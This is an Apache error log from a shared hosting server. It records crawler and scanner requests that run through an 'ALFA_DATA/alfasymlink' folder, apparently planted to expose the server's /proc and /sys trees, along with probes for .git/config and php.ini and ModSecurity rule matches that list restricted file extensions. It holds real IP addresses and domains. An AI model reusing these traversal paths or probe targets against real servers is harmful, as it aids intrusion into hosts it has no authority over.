[Sun Oct 25 23:08:50.785119 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 85.208.96.196:56456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.1/resource3
[Sun Oct 25 23:08:53.150005 2026] [security2:error] [pid 2949650:tid 2949650] [client 107.172.76.131:50530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7EOfLa-Z693QtLWwrFoQAAABQ"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:08:53.150064 2026] [security2:error] [pid 2949650:tid 2949650] [client 107.172.76.131:50530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7EOfLa-Z693QtLWwrFoQAAABQ"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:09:02.140792 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 3.217.171.106:62341] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup3/device/physical_node/remove
[Sun Oct 25 23:09:06.167573 2026] [core:error] [pid 2949510:tid 2949510] (13)Permission denied: [client 3.213.85.234:36993] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS0/line
[Sun Oct 25 23:09:27.349131 2026] [security2:error] [pid 2930612:tid 2930612] [client 43.152.72.244:51062] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/recursos1/"] [unique_id "at7EZ5HtMtN5e4U4U0bjDQAAAAI"]
[Sun Oct 25 23:09:34.123781 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 18.213.70.100:24665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:09:38.460768 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 34.199.252.22:57782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:09:42.120026 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 34.231.181.240:37252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:09:44.356004 2026] [security2:error] [pid 2943087:tid 2943087] [client 107.172.76.131:50525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7EbASn5HKIYfqg0eAkMgAAADc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:09:44.356053 2026] [security2:error] [pid 2943087:tid 2943087] [client 107.172.76.131:50525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7EbASn5HKIYfqg0eAkMgAAADc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:10:12.743568 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 185.191.171.10:57574] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:10:22.782267 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 185.191.171.18:14082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/objects_partial
[Sun Oct 25 23:10:26.122034 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 3.232.82.72:4647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:10:34.174910 2026] [ssl:error] [pid 2949515:tid 2949515] (22)Invalid argument: [client 98.83.178.66:28664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:10:38.117689 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 107.22.208.39:17273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:10:46.135463 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 18.215.24.66:54609] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:10:54.283497 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.54.95.127:51385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:11:14.143778 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.157.84.74:39105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:11:17.482124 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 85.208.96.204:46690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:11:17.482349 2026] [security2:error] [pid 2950825:tid 2950825] [client 85.208.96.204:46690] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:02.0/device"] [unique_id "at7E1QdXaRZq20acEGrw_QAAAAY"]
[Sun Oct 25 23:11:17.482396 2026] [security2:error] [pid 2950825:tid 2950825] [client 85.208.96.204:46690] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:02.0/device"] [unique_id "at7E1QdXaRZq20acEGrw_QAAAAY"]
[Sun Oct 25 23:11:22.203903 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 54.84.147.79:13453] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:11:46.151831 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 44.206.93.215:50106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:11:50.132965 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.214.176.44:44712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:12:02.205102 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 34.206.212.24:39748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:12:10.133833 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 3.223.134.5:56393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:12:18.132739 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 100.24.167.60:37213] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:12:22.132571 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 52.73.6.26:2313] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:12:26.117990 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 44.216.172.204:42544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:12:30.243851 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 184.73.195.18:63603] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:12:42.142851 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 44.215.235.20:64075] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:12:46.138034 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 35.153.86.200:30286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/virtio-pci/bind
[Sun Oct 25 23:12:48.757706 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 85.208.96.198:22004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/usersize
[Sun Oct 25 23:13:10.290839 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.87.62.248:33618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:13:26.425816 2026] [ssl:error] [pid 2952055:tid 2952055] (70014)End of file found: [client 3.94.156.104:54514] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:13:27.774755 2026] [core:error] [pid 2952056:tid 2952056] (13)Permission denied: [client 85.208.96.195:63702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/slab_size
[Sun Oct 25 23:13:30.371815 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 3.90.73.206:23132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/13/module/uevent
[Sun Oct 25 23:13:58.223376 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 52.44.229.124:63948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:14:18.164354 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 100.25.120.246:12533] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:14:21.357773 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 85.208.96.196:45554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/min_partial
[Sun Oct 25 23:14:26.226190 2026] [ssl:error] [pid 2952054:tid 2952054] (70014)End of file found: [client 18.211.148.239:65016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:14:30.207444 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 54.157.99.244:21655] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:14:46.195019 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 3.94.157.25:38001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:14:54.125021 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 54.145.82.217:7707] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:17/subsystem/drivers/ac/unbind
[Sun Oct 25 23:14:58.195962 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 3.216.13.10:64091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:15:06.119429 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 18.235.158.19:23446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:15:09.853443 2026] [security2:error] [pid 2950561:tid 2950561] [client 185.191.171.12:50604] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/resolv.conf"] [unique_id "at7FvSpqvgiisxqwl5wTZAAAAAU"]
[Sun Oct 25 23:15:09.853859 2026] [security2:error] [pid 2950561:tid 2950561] [client 185.191.171.12:50604] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/resolv.conf"] [unique_id "at7FvSpqvgiisxqwl5wTZAAAAAU"]
[Sun Oct 25 23:15:09.854175 2026] [security2:error] [pid 2950561:tid 2950561] [client 185.191.171.12:50604] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/resolv.conf"] [unique_id "at7FvSpqvgiisxqwl5wTZAAAAAU"]
[Sun Oct 25 23:15:18.151847 2026] [core:error] [pid 2952056:tid 2952056] (13)Permission denied: [client 3.221.156.96:29966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/serial/remove_id
[Sun Oct 25 23:15:26.122191 2026] [core:error] [pid 2949646:tid 2949646] (13)Permission denied: [client 100.29.160.53:2071] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/memory16/subsystem/devices/memory15/node0/cpu0/firmware_node/physical_node/driver/uevent
[Sun Oct 25 23:15:32.640305 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 85.208.96.195:20386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/cache_dma
[Sun Oct 25 23:15:38.149573 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 52.44.229.124:36886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:15:46.129004 2026] [core:error] [pid 2949510:tid 2949510] (13)Permission denied: [client 52.23.112.144:24478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/resource4_wc
[Sun Oct 25 23:15:47.729912 2026] [security2:error] [pid 2949646:tid 2949646] [client 43.130.53.252:33692] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/hoteles2/"] [unique_id "at7F42VcQDGhSnYjpsMA_gAAAA4"]
[Sun Oct 25 23:16:02.311190 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 98.82.40.168:10309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:16:06.818077 2026] [authz_core:error] [pid 2949510:tid 2949510] [client 71.6.232.23:39588] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 23:16:14.133862 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.54.249.218:26840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:16:30.161619 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 3.213.85.234:12309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:16:34.125890 2026] [security2:error] [pid 2934778:tid 2934778] [client 74.82.47.2:22764] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "157"] [id "920180"] [rev "1"] [msg "POST request missing Content-Length Header."] [data "0"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at7GEtYvsK9lv2bQxMACPQAAABA"]
[Sun Oct 25 23:16:46.326210 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 100.28.49.152:19067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:16:50.223849 2026] [ssl:error] [pid 2952055:tid 2952055] (70014)End of file found: [client 98.83.226.125:32329] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:16:51.570243 2026] [authz_core:error] [pid 2952054:tid 2952054] [client 45.55.90.45:49264] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 23:16:52.582873 2026] [authz_core:error] [pid 2952056:tid 2952056] [client 45.55.90.45:53082] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 23:16:54.217005 2026] [ssl:error] [pid 2952054:tid 2952054] (70014)End of file found: [client 98.84.131.195:55889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:16:58.418582 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.194.165.45:29955] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:16:58.418784 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.194.165.45:29955] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/physical_node/local_cpulist"] [unique_id "at7GKtYvsK9lv2bQxMACPwAAABA"]
[Sun Oct 25 23:16:58.418806 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.194.165.45:29955] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/physical_node/local_cpulist"] [unique_id "at7GKtYvsK9lv2bQxMACPwAAABA"]
[Sun Oct 25 23:17:06.573827 2026] [ssl:error] [pid 2949510:tid 2949510] (70014)End of file found: [client 18.213.240.226:28100] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:08.515756 2026] [security2:error] [pid 2950561:tid 2950561] [client 185.191.171.10:56802] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/grav/import.php"] [unique_id "at7GNCpqvgiisxqwl5wTagAAAAU"]
[Sun Oct 25 23:17:08.515799 2026] [security2:error] [pid 2950561:tid 2950561] [client 185.191.171.10:56802] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/grav/import.php"] [unique_id "at7GNCpqvgiisxqwl5wTagAAAAU"]
[Sun Oct 25 23:17:10.210281 2026] [ssl:error] [pid 2952055:tid 2952055] (70014)End of file found: [client 54.84.147.79:3806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:14.212981 2026] [ssl:error] [pid 2952054:tid 2952054] (70014)End of file found: [client 34.234.197.175:57717] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:18.379763 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 100.24.167.60:44818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:22.372685 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 52.4.238.8:45075] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:26.404975 2026] [core:error] [pid 2949645:tid 2949645] (13)Permission denied: [client 34.227.156.153:2781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/device/driver/serio1/drvctl
[Sun Oct 25 23:17:30.413434 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 54.145.82.217:55836] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:34.291186 2026] [ssl:error] [pid 2952054:tid 2952054] (70014)End of file found: [client 184.73.195.18:28903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:38.233439 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 52.1.157.90:63501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:42.231018 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 52.1.157.90:3441] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:46.445171 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 52.70.209.13:56980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:54.287781 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 52.71.216.196:24732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:17:56.705114 2026] [security2:error] [pid 2934778:tid 2934778] [client 74.82.47.2:61534] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7GZNYvsK9lv2bQxMACQgAAABA"]
[Sun Oct 25 23:17:56.705385 2026] [security2:error] [pid 2934778:tid 2934778] [client 74.82.47.2:61534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7GZNYvsK9lv2bQxMACQgAAABA"]
[Sun Oct 25 23:17:56.705900 2026] [security2:error] [pid 2934778:tid 2934778] [client 74.82.47.2:61534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7GZNYvsK9lv2bQxMACQgAAABA"]
[Sun Oct 25 23:17:58.228265 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 52.207.47.227:11189] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:18:02.210239 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 100.28.44.58:59135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:18:06.840330 2026] [security2:error] [pid 2943087:tid 2943087] [client 107.172.76.131:50525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7GYgSn5HKIYfqg0eAkVgAAADc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:18:06.840388 2026] [security2:error] [pid 2943087:tid 2943087] [client 107.172.76.131:50525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7GYgSn5HKIYfqg0eAkVgAAADc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:18:14.671109 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 3.224.205.25:17932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:18:18.392514 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 44.221.105.234:40351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/hardware_error_device/unbind
[Sun Oct 25 23:18:22.643164 2026] [authz_core:error] [pid 2934778:tid 2934778] [client 20.53.239.152:9034] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 23:18:25.579371 2026] [core:error] [pid 2949646:tid 2949646] (13)Permission denied: [client 44.195.50.71:37816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/min_partial
[Sun Oct 25 23:18:30.302610 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 34.236.41.241:54707] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:18:34.317186 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 52.0.41.164:18546] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:18:42.234064 2026] [core:error] [pid 2952056:tid 2952056] (13)Permission denied: [client 3.90.73.206:42046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:19/subsystem/drivers/ac/unbind
[Sun Oct 25 23:18:46.375737 2026] [ssl:error] [pid 2952055:tid 2952055] (70014)End of file found: [client 23.21.175.228:20471] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:18:50.334413 2026] [ssl:error] [pid 2950487:tid 2950487] (70014)End of file found: [client 23.21.250.48:55105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:18:52.764573 2026] [core:error] [pid 2949646:tid 2949646] (13)Permission denied: [client 85.208.96.200:29482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/sanity_checks
[Sun Oct 25 23:18:54.259174 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 54.235.172.108:19993] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:18:58.824307 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 85.208.96.209:55118] AH02013: coalesce failed to read from data bucket
